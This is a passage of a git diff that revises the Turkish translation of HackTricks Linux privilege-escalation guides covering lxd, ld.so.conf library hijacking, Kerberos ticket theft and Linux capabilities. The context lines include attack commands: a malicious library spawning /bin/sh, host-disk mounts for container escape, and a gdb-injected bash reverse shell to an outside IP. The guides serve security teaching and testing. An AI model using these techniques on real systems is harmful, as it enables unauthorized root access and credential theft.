- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 7e273bc47..e259260f4 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -31,7 +31,7 @@ Bu, genellikle bu grupların **polkit politikası** içinde yer alması nedeniyl ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları **varsayılan olarak** görünmektedir. +Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları varsayılan olarak görünmektedir. **root olmak için şunu çalıştırabilirsiniz**: ```bash @@ -72,7 +72,7 @@ sudo su ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -So, dosyayı okuyun ve **bazı hash'leri kırmaya** çalışın. +So, dosyayı okuyun ve bazı **hash'leri kırmaya** çalışın. ## Personel Grubu @@ -146,7 +146,7 @@ Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örn debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -Ancak, **root'a ait dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız. +Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız. ## Video Grubu @@ -163,11 +163,11 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz: +**Ham görüntüyü** açmak için **GIMP** kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz: ![](<../../../images/image (463).png>) -Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi gösterenini seçin): +Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi göstereni seçin): ![](<../../../images/image (317).png>) diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 40b6f3300..940248ea6 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -Eğer _**lxd**_ **veya** _**lxc**_ **grubuna** ait iseniz, root olabilirsiniz. +_Eğer_ **lxd** _veya_ **lxc** _grubuna ait iseniz, root olabilirsiniz._ ## İnternetsiz Sömürü @@ -33,7 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` -Dosyaları **lxd.tar.xz** ve **rootfs.squashfs** yükleyin, görüntüyü depoya ekleyin ve bir konteyner oluşturun: +Dosyaları **lxd.tar.xz** ve **rootfs.squashfs** yükleyin, resmi depoya ekleyin ve bir konteyner oluşturun: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -49,8 +49,8 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` > [!CAUTION] -> Eğer bu hatayı _**Hata: Depo havuzu bulunamadı. Lütfen yeni bir depo havuzu oluşturun**_\ -> **`lxd init`** komutunu çalıştırın ve önceki komut grubunu **tekrarlayın** +> Eğer bu hatayı _**Hata: Depolama havuzu bulunamadı. Lütfen yeni bir depolama havuzu oluşturun**_\ +> **`lxd init`** komutunu çalıştırın ve önceki komut grubunu **tekrar** edin Sonunda konteyneri çalıştırabilir ve root alabilirsiniz: ```bash diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index d49ffbb12..4ffdb73a6 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -40,14 +40,14 @@ puts("Hi"); {{#endtab}} {{#endtabs}} -1. **Bu dosyaları** makinenizde aynı klasörde **oluşturun** -2. **Kütüphaneyi** **derleyin**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. `libcustom.so`'yu `/usr/lib`'ye **kopyalayın**: `sudo cp libcustom.so /usr/lib` (root yetkileri) -4. **Çalıştırılabilir dosyayı** **derleyin**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Oluşturun** bu dosyaları makinenizde aynı klasörde +2. **Derleyin** **kütüphaneyi**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Kopyalayın** `libcustom.so` dosyasını `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root yetkileri) +4. **Derleyin** **çalıştırılabilir dosyayı**: `gcc sharedvuln.c -o sharedvuln -lcustom` ### Ortamı kontrol et -_libcustom.so_'nun _/usr/lib_'den **yüklenip** yüklenmediğini ve ikili dosyayı **çalıştırıp** çalıştıramadığınızı kontrol edin. +_lıbcustom.so_'nun _/usr/lib_ dizininden **yüklenip** yüklenmediğini ve ikili dosyayı **çalıştırıp** çalıştıramadığınızı kontrol edin. ``` $ ldd sharedvuln linux-vdso.so.1 => (0x00007ffc9a1f7000) @@ -81,9 +81,9 @@ printf("I'm the bad library\n"); system("/bin/sh",NULL,NULL); } ``` -Artık **yanlış yapılandırılmış** yolun içinde kötü niyetli libcustom kütüphanesini **oluşturduğumuza göre**, bir **yeniden başlatma** veya root kullanıcısının **`ldconfig`** komutunu çalıştırmasını beklememiz gerekiyor (_eğer bu ikiliyi **sudo** olarak çalıştırabiliyorsanız veya **suid biti** varsa, kendiniz çalıştırabileceksiniz_). +Artık **yanlış yapılandırılmış** yolun içinde kötü niyetli libcustom kütüphanesini **oluşturduğumuza göre**, bir **yeniden başlatma** veya root kullanıcısının **`ldconfig`** komutunu çalıştırmasını beklememiz gerekiyor (_eğer bu ikiliyi **sudo** olarak çalıştırabiliyorsanız veya **suid biti** varsa, bunu kendiniz çalıştırabileceksiniz_). -Bu gerçekleştiğinde, `sharevuln` ikilisinin `libcustom.so` kütüphanesini nereden yüklediğini **yeniden kontrol edin**: +Bu gerçekleştiğinde, `sharevuln` yürütülebilir dosyasının `libcustom.so` kütüphanesini nereden yüklediğini **yeniden kontrol edin**: ```c $ldd sharedvuln linux-vdso.so.1 => (0x00007ffeee766000) @@ -100,7 +100,7 @@ $ whoami ubuntu ``` > [!NOTE] -> Bu örnekte ayrıcalıkları yükseltmediğimizi, ancak yürütülen komutları değiştirerek ve **kötü niyetli ikili dosyayı çalıştırması için root veya başka bir ayrıcalıklı kullanıcıyı bekleyerek** ayrıcalıkları yükseltebileceğimizi unutmayın. +> Bu örnekte ayrıcalıkları yükseltmediğimizi, ancak yürütülen komutları değiştirerek ve **kötü niyetli ikili dosyayı çalıştırması için root veya başka bir ayrıcalıklı kullanıcının beklemesiyle** ayrıcalıkları yükseltebileceğimizi unutmayın. ### Diğer yanlış yapılandırmalar - Aynı zafiyet @@ -109,15 +109,15 @@ Ancak, `/etc/ld.so.conf.d` içindeki bazı **yapılandırma dosyalarında**, `/e ## İstismar 2 -**`ldconfig` üzerinde sudo ayrıcalıklarınız olduğunu varsayalım**.\ -`ldconfig`'e **konfigürasyon dosyalarının nereden yükleneceğini** belirtebilirsiniz, böylece `ldconfig`'in keyfi klasörleri yüklemesinden faydalanabiliriz.\ +**`ldconfig` üzerinde sudo ayrıcalıklarınız olduğunu varsayalım.**\ +`ldconfig`'e **konfigürasyon dosyalarının nereden yükleneceğini** belirtebilirsiniz, böylece `ldconfig`'in rastgele klasörleri yüklemesinden faydalanabiliriz.\ Şimdi, "/tmp" yüklemek için gereken dosyaları ve klasörleri oluşturalım: ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` -Şimdi, **önceki istismarda belirtildiği gibi**, **kötü niyetli kütüphaneyi `/tmp` içinde oluşturun**.\ +Şimdi, **önceki istismarda** belirtildiği gibi, **kötü niyetli kütüphaneyi `/tmp` içinde oluşturun**.\ Ve sonunda, yolu yükleyelim ve kütüphanenin nereden yüklendiğini kontrol edelim: ```bash ldconfig -f fake.ld.so.conf diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 016a7b1aa..4a68f454f 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -38,9 +38,9 @@ Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini bulabileceğini ### /tmp'den CCACHE bilet yeniden kullanımı -CCACHE dosyaları, **Kerberos kimlik bilgilerini** saklamak için kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar. +CCACHE dosyaları, **Kerberos kimlik bilgilerini** saklamak için kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatlarıyla `krb5cc_%{uid}`** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **çevre değişkeni `KRB5CCNAME`** istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar. -Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **ortam değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir. +Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **çevre değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir. ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### CCACHE bilet yeniden kullanımı anahtar halkasından -**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır. +**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek ve biletleri `/tmp` dizinine dökerek çıkarımı kolaylaştırır. Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir: ```bash @@ -60,13 +60,13 @@ cd tickey/tickey make CONF=Release /tmp/tickey -i ``` -Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla çıkarılan biletleri saklayarak gösterecektir. +Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak gösterecektir. ### SSSD KCM'den CCACHE bilet yeniden kullanımı SSSD, veritabanının bir kopyasını `/var/lib/sss/secrets/secrets.ldb` yolunda tutar. İlgili anahtar, `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak saklanır. Varsayılan olarak, anahtar yalnızca **root** izinleriniz varsa okunabilir. -\*\*`SSSDKCMExtractor` \*\* komutunu --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**. +\*\*`SSSDKCMExtractor` \*\*'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey @@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir. -Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır. +Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak tanımlandığında, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 4bad040ec..654e16c07 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -15,7 +15,7 @@ Linux yetenekleri **root ayrıcalıklarını daha küçük, belirgin birimlere** 1. **Miras Alınan (CapInh)**: - **Amaç**: Ebeveyn süreçten devredilen yetenekleri belirler. -- **Fonksiyon**: Yeni bir süreç oluşturulduğunda, bu setten ebeveyninden yetenekleri miras alır. Süreç oluşturma sırasında belirli ayrıcalıkları korumak için yararlıdır. +- **Fonksiyon**: Yeni bir süreç oluşturulduğunda, bu setten ebeveyninden yetenekleri miras alır. Süreç oluşturma sırasında belirli ayrıcalıkları korumak için faydalıdır. - **Kısıtlamalar**: Bir süreç, ebeveyninin sahip olmadığı yetenekleri kazanamaz. 2. **Etkin (CapEff)**: @@ -33,13 +33,13 @@ Linux yetenekleri **root ayrıcalıklarını daha küçük, belirgin birimlere** 4. **Sınırlandırıcı (CapBnd)**: - **Amaç**: Bir sürecin yaşam döngüsü boyunca edinebileceği yetenekler üzerinde bir tavan koyar. -- **Fonksiyon**: Bir süreç, miras alınan veya izinli setinde belirli bir yeteneğe sahip olsa bile, o yeteneği yalnızca sınırlandırıcı setinde de varsa edinebilir. -- **Kullanım Durumu**: Bu set, bir sürecin ayrıcalık yükseltme potansiyelini kısıtlamak için özellikle yararlıdır ve ek bir güvenlik katmanı ekler. +- **Fonksiyon**: Bir süreç, miras alınabilir veya izinli setinde belirli bir yeteneğe sahip olsa bile, o yeteneği yalnızca sınırlandırıcı setinde de varsa edinebilir. +- **Kullanım durumu**: Bu set, bir sürecin ayrıcalık yükseltme potansiyelini kısıtlamak için özellikle faydalıdır ve ek bir güvenlik katmanı ekler. 5. **Ortam (CapAmb)**: - **Amaç**: Belirli yeteneklerin, genellikle sürecin yeteneklerinin tamamen sıfırlanmasına neden olacak bir `execve` sistem çağrısı sırasında korunmasına olanak tanır. -- **Fonksiyon**: İlişkili dosya yetenekleri olmayan SUID olmayan programların belirli ayrıcalıkları korumasını sağlar. -- **Kısıtlamalar**: Bu set içindeki yetenekler, miras alınan ve izinli setlerin kısıtlamalarına tabidir, böylece sürecin izin verilen ayrıcalıklarını aşmazlar. +- **Fonksiyon**: İlgili dosya yeteneklerine sahip olmayan SUID olmayan programların belirli ayrıcalıkları korumasını sağlar. +- **Kısıtlamalar**: Bu set içindeki yetenekler, miras alınabilir ve izinli setlerin kısıtlamalarına tabidir, böylece sürecin izin verilen ayrıcalıklarını aşmazlar. ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. @@ -59,11 +59,11 @@ Daha fazla bilgi için kontrol edin: ### Süreçler Yetenekleri Belirli bir süreç için yetenekleri görmek için /proc dizinindeki **status** dosyasını kullanın. Daha fazla ayrıntı sağladığı için, bunu yalnızca Linux yetenekleri ile ilgili bilgilere sınırlayalım.\ -Tüm çalışan süreçler için yetenek bilgisi her bir iş parçacığı başına korunur, dosya sistemindeki ikili dosyalar için ise genişletilmiş niteliklerde saklanır. +Tüm çalışan süreçler için yetenek bilgisi her bir iş parçacığı için korunur, dosya sistemindeki ikili dosyalar için ise genişletilmiş niteliklerde saklanır. -/usr/include/linux/capability.h dosyasında tanımlanan yetenekleri bulabilirsiniz. +Yetenekleri /usr/include/linux/capability.h dosyasında bulabilirsiniz. -Mevcut sürecin yeteneklerini `cat /proc/self/status` komutunu kullanarak veya `capsh --print` komutunu çalıştırarak ve diğer kullanıcıların yeteneklerini `/proc//status` dosyasında bulabilirsiniz. +Mevcut sürecin yeteneklerini `cat /proc/self/status` komutuyla veya `capsh --print` komutunu kullanarak ve diğer kullanıcıların yeteneklerini `/proc//status` dosyasında bulabilirsiniz. ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process @@ -100,11 +100,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -Çalışsa da, başka ve daha kolay bir yol var. Çalışan bir sürecin yeteneklerini görmek için, **getpcaps** aracını kullanarak ardından süreç kimliğini (PID) yazın. Ayrıca bir süreç kimliği listesi de verebilirsiniz. +Çalışsa da, başka ve daha kolay bir yol var. Çalışan bir sürecin yeteneklerini görmek için, **getpcaps** aracını kullanarak ardından süreç kimliğini (PID) yazmanız yeterlidir. Ayrıca bir süreç kimliği listesi de verebilirsiniz. ```bash getpcaps 1234 ``` -Burada `tcpdump`'ın yeteneklerini kontrol edelim, ikili dosyaya yeterli yetenekler (`cap_net_admin` ve `cap_net_raw`) verildikten sonra ağı dinlemek için (_tcpdump işlem 9562'de çalışıyor_): +Burada `tcpdump`'ın yeteneklerini kontrol edelim, ikili dosyaya yeterli yetenekler (`cap_net_admin` ve `cap_net_raw`) verildikten sonra ağ dinlemek için (_tcpdump işlem 9562'de çalışıyor_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -122,7 +122,7 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -Verilen yeteneklerin, bir ikili dosyanın yeteneklerini elde etmenin 2 yolu ile elde edilen sonuçlarla eşleştiğini görebilirsiniz.\ +Verilen yeteneklerin, bir ikili dosyanın yeteneklerini elde etmenin 2 yolu ile elde edilen sonuçlarla örtüştüğünü görebilirsiniz.\ _getpcaps_ aracı, belirli bir iş parçacığı için mevcut yetenekleri sorgulamak üzere **capget()** sistem çağrısını kullanır. Bu sistem çağrısı, daha fazla bilgi almak için yalnızca PID sağlamayı gerektirir. ### İkili Dosyaların Yetenekleri @@ -132,7 +132,7 @@ _getpcaps_ aracı, belirli bir iş parçacığı için mevcut yetenekleri sorgul getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` -**Yeteneklere sahip ikili dosyaları aramak için:** +Yetkileri olan **ikili dosyaları aramak için** şunu kullanabilirsiniz: ```bash getcap -r / 2>/dev/null ``` @@ -148,7 +148,7 @@ _bash_ çıktısının yanı sıra, _tcpdump_ komutu da bir hata vermelidir. Hata, ping komutunun bir ICMP soketi açmasına izin verilmediğini açıkça gösteriyor. Artık bunun beklendiği gibi çalıştığını kesin olarak biliyoruz. -### Yetenekleri Kaldırma +### Yetenekleri Kaldır Bir ikili dosyanın yeteneklerini kaldırabilirsiniz. ```bash @@ -276,7 +276,7 @@ capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` > [!CAUTION] -> Sadece **hem izin verilen hem de miras alınan** setlerde bulunan yetenekleri ekleyebilirsiniz. +> Sadece **hem izin verilen hem de miras alınan setlerde bulunan** yetenekler ekleyebilirsiniz. ### Yetenek farkında/Yetenek cahil ikili dosyalar @@ -285,7 +285,7 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ## Servis Yetenekleri Varsayılan olarak, **root olarak çalışan bir servis tüm yetenekleri atamış olacaktır**, ve bazı durumlarda bu tehlikeli olabilir.\ -Bu nedenle, bir **servis yapılandırma** dosyası, sahip olmasını istediğiniz **yetenekleri** **belirlemenize** ve servisi çalıştıracak **kullanıcıyı** tanımlamanıza olanak tanır; böylece gereksiz ayrıcalıklara sahip bir servis çalıştırmaktan kaçınılır: +Bu nedenle, **bir servis yapılandırma** dosyası, **istediğiniz yetenekleri** belirtmenize ve servisi çalıştıracak **kullanıcıyı** tanımlamanıza olanak tanır, böylece gereksiz ayrıcalıklara sahip bir servis çalıştırmaktan kaçınılır: ```bash [Service] User=bob @@ -321,7 +321,7 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` -`+ep` demek, yeteneği ("-" bunu kaldırır) Etkili ve İzinli olarak ekliyorsunuz. +`+ep` demek, yeteneği ( "-" bunu kaldırır) Etkili ve İzinli olarak ekliyorsunuz. Bir sistemde veya klasörde yeteneklere sahip programları tanımlamak için: ```bash @@ -345,7 +345,7 @@ getcap /usr/sbin/tcpdump ``` ### "Boş" yeteneklerin özel durumu -[Belgelerden](https://man7.org/linux/man-pages/man7/capabilities.7.html): Boş yetenek setlerinin bir program dosyasına atanabileceğini unutmayın, bu nedenle etkili ve kaydedilmiş set-kullanıcı-ID'sini 0 olarak değiştiren bir set-user-ID-root programı oluşturmak mümkündür, ancak bu sürece hiçbir yetenek kazandırmaz. Ya da basitçe ifade etmek gerekirse, eğer bir ikili dosyanız varsa: +[Belgelerden](https://man7.org/linux/man-pages/man7/capabilities.7.html): Boş yetenek setlerinin bir program dosyasına atanabileceğini unutmayın, bu nedenle etkili ve kaydedilmiş set-user-ID'sini 0 olarak değiştiren bir set-user-ID-root programı oluşturmak mümkündür, ancak bu süreçte o işleme hiçbir yetenek verilmez. Ya da basitçe ifade etmek gerekirse, eğer bir ikili dosyanız varsa: 1. root tarafından sahiplenilmemiş 2. `SUID`/`SGID` bitleri ayarlanmamış @@ -355,7 +355,7 @@ o zaman **o ikili dosya root olarak çalışacaktır**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**, geniş **idari ayrıcalıkları** nedeniyle genellikle neredeyse root seviyesine eşitlenen son derece güçlü bir Linux yeteneğidir; örneğin cihazları monte etme veya çekirdek özelliklerini manipüle etme gibi. Tüm sistemleri simüle eden konteynerler için vazgeçilmez olsa da, **`CAP_SYS_ADMIN` önemli güvenlik zorlukları** ortaya çıkarır, özellikle ayrıcalık yükseltme ve sistemin tehlikeye atılma potansiyeli nedeniyle konteynerleştirilmiş ortamlarda. Bu nedenle, kullanımı sıkı güvenlik değerlendirmeleri ve dikkatli yönetim gerektirir; uygulama özel konteynerlerde bu yeteneğin bırakılması, **en az ayrıcalık ilkesi** ile uyum sağlamak ve saldırı yüzeyini en aza indirmek için güçlü bir tercih olmalıdır. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**, geniş **idari ayrıcalıkları** nedeniyle genellikle neredeyse root seviyesine eşitlenen son derece güçlü bir Linux yeteneğidir; örneğin, cihazları monte etme veya çekirdek özelliklerini manipüle etme gibi. Tüm sistemleri simüle eden konteynerler için vazgeçilmez olsa da, **`CAP_SYS_ADMIN` önemli güvenlik zorlukları** ortaya çıkarır, özellikle ayrıcalık yükseltme ve sistemin tehlikeye atılma potansiyeli nedeniyle konteynerleştirilmiş ortamlarda. Bu nedenle, kullanımı sıkı güvenlik değerlendirmeleri ve dikkatli yönetim gerektirir; uygulama özel konteynerlerde bu yeteneğin bırakılması, **en az ayrıcalık ilkesi** ile uyum sağlamak ve saldırı yüzeyini en aza indirmek için güçlü bir tercih olmalıdır. **İkili ile örnek** ```bash @@ -417,7 +417,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk - **Tam erişim** Önceki yöntemde docker ana bilgisayar diskine erişmeyi başardık.\ -Eğer ana bilgisayarın bir **ssh** sunucusu çalıştığını bulursanız, **docker ana bilgisayar** diskinde bir kullanıcı oluşturabilir ve buna SSH ile erişebilirsiniz: +Eğer ana bilgisayarın bir **ssh** sunucusu çalıştırdığını bulursanız, **docker ana bilgisayar** diskinde bir kullanıcı oluşturabilir ve SSH üzerinden erişebilirsiniz: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -433,9 +433,9 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**Bu, ana makinede çalışan bir süreç içine shellcode enjekte ederek konteynerden çıkabileceğiniz anlamına gelir.** Ana makinede çalışan süreçlere erişmek için konteynerin en az **`--pid=host`** ile çalıştırılması gerekir. +**Bu, bir shellcode'u ana makinede çalışan bir süreç içine enjekte ederek konteynerden çıkabileceğiniz anlamına gelir.** Ana makinede çalışan süreçlere erişmek için konteynerin en azından **`--pid=host`** ile çalıştırılması gerekir. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** `ptrace(2)` tarafından sağlanan hata ayıklama ve sistem çağrısı izleme işlevlerini kullanma yeteneğini ve `process_vm_readv(2)` ve `process_vm_writev(2)` gibi bellekler arası ekleme çağrılarını kullanma yeteneğini verir. Hata ayıklama ve izleme amaçları için güçlü olmasına rağmen, `CAP_SYS_PTRACE` kısıtlayıcı önlemler olmadan, örneğin `ptrace(2)` üzerinde bir seccomp filtresi olmadan etkinleştirildiğinde, sistem güvenliğini önemli ölçüde zayıflatabilir. Özellikle, diğer güvenlik kısıtlamalarını, özellikle seccomp tarafından dayatılanları aşmak için kullanılabilir, bu da [bu tür kanıtlar (PoC) ile gösterilmiştir](https://gist.github.com/thejh/8346f47e359adecd1d53). +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** `ptrace(2)` tarafından sağlanan hata ayıklama ve sistem çağrısı izleme işlevlerini kullanma yeteneğini ve `process_vm_readv(2)` ve `process_vm_writev(2)` gibi bellekler arası ekleme çağrılarını sağlar. Hata ayıklama ve izleme amaçları için güçlü olmasına rağmen, `CAP_SYS_PTRACE` kısıtlayıcı önlemler olmadan, örneğin `ptrace(2)` üzerinde bir seccomp filtresi olmadan etkinleştirildiğinde, sistem güvenliğini önemli ölçüde zayıflatabilir. Özellikle, diğer güvenlik kısıtlamalarını, özellikle seccomp tarafından dayatılanları aşmak için sömürülebilir; bu, [bu tür kanıtlar (PoC) ile gösterilmiştir](https://gist.github.com/thejh/8346f47e359adecd1d53). **Binary ile örnek (python)** ```bash @@ -584,14 +584,14 @@ process 207009 is executing new program: /usr/bin/dash ``` **Örnek ile ortam (Docker breakout) - Başka bir gdb Suistimali** -Eğer **GDB** yüklüyse (veya `apk add gdb` veya `apt install gdb` ile yükleyebilirsiniz) **host'tan bir süreci debug'layabilir** ve `system` fonksiyonunu çağırmasını sağlayabilirsiniz. (Bu teknik ayrıca `SYS_ADMIN` yetkisini de gerektirir)**.** +Eğer **GDB** yüklüyse (veya `apk add gdb` veya `apt install gdb` ile yükleyebilirsiniz) **bir süreci ana makineden hata ayıklayabilir** ve `system` fonksiyonunu çağırmasını sağlayabilirsiniz. (Bu teknik ayrıca `SYS_ADMIN` yetkisini de gerektirir)**.** ```bash gdb -p 1234 (gdb) call (void)system("ls") (gdb) call (void)system("sleep 5") (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'") ``` -Komutun çıktısını göremeyeceksiniz ama bu işlem tarafından yürütülecektir (bu yüzden bir rev shell alın). +Komutun çıktısını göremeyeceksiniz ama bu işlem tarafından yürütülecek (yani bir rev shell alın). > [!WARNING] > "No symbol "system" in current context." hatasını alırsanız, gdb aracılığıyla bir programda shellcode yükleyen önceki örneği kontrol edin. @@ -621,11 +621,12 @@ List **processes** running in the **host** `ps -eaf` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** bir sürece **kernel modüllerini yükleme ve kaldırma (`init_module(2)`, `finit_module(2)` ve `delete_module(2)` sistem çağrıları)** yetkisi verir, bu da çekirdeğin temel işlemlerine doğrudan erişim sağlar. Bu yetenek, çekirdekte değişiklik yaparak tüm Linux güvenlik mekanizmalarını, Linux Güvenlik Modülleri ve konteyner izolasyonu dahil olmak üzere, 